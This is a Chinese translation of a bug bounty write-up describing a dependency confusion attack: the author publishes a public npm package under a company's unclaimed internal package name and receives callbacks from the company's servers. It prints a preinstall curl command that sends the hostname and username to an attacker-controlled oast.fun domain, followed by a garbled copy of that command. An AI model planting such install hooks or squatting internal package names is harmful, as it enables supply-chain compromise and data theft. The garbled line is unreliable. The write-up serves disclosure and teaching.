白帽故事 · 2025年2月14日 0

【$2500】通过无人认领的Node包实施RCE攻击

前言

依赖项混乱是一种软件供应链漏洞,当公司的内部软件包从公共存储库(例如NPM)而非私有注册中心时,就会发生这种漏洞。

如果软件包管理器(例如NPM,PIP或其它)默认为从公共源中拉出和具有相同名称的软件包,则极可能发生这种情况。

在依赖项混淆攻击中,攻击者可以创建一个与公司内部软件包同名的恶意软件包,并将其发布到公共注册中心中。

如果公司系统从公共注册中心解析该软件包,就可能下载并执行攻击者的代码,从而导致远程代码执行(RCE)等安全风险。

file

file

如何确定漏洞

在渗透测试期间,白帽小哥发现目标公司的一个JavaScript文件,并注意到它引用了存储在 /node_modules/@confidential-package-name 。

这表明该公司正在使用内部NPM软件包,检查了该内部软件包是否已在公共NPM注册中心上发布,发现它在NPM上为“无人认领”(unclaimed)的。

这种无人认领的身份表明任何人都可以创建一个具有相同名称的软件包,并通过欺骗公司的系统从公共NPM注册中心下载和执行代码而不是内部来源来引用依赖项。

如何利用

为了确认该漏洞,白帽小哥使用与内部软件包@confidential-package-name相同的名称创建了一个恶意NPM软件包。

然后,将该软件包发布给了公共NPM注册中心,“嵌入”了在安装时自动执行的预安装脚本。

脚本很简单:

curl — data-urlencode “info=$(hostname && whoami)” http://<attacker-controlled-domain>.oast.fun
curl - data-urlencode“ info = $(hostName%26%26 whaami)”

该脚本会将安装软件包的服务器的主机名和用户信息发送到白帽小哥控制的域服务上。

一旦该软件包在NPM可用后,经过耐心等待,在几个小时到几天之内,就会收到该公司生产和非生产环境的多个请求,从而确认他们的系统正在下载和执行恶意软件包。

file

这些请求包含了主机名和用户名之类的详细信息。

file

获得了这些信息后,就可以提交漏洞报告了。白帽小哥在一天内报告了3个同类漏洞,一周内,漏洞便被接受,小哥也顺利收获了$2,500的赏金奖励。

file

你学到了么?

以上内容由骨哥翻译并整理。

原文:https://medium.com/@p0lyxena/2-500-bug-bounty-write-up-remote-code-execution-rce-via-unclaimed-node-package-6b9108d10643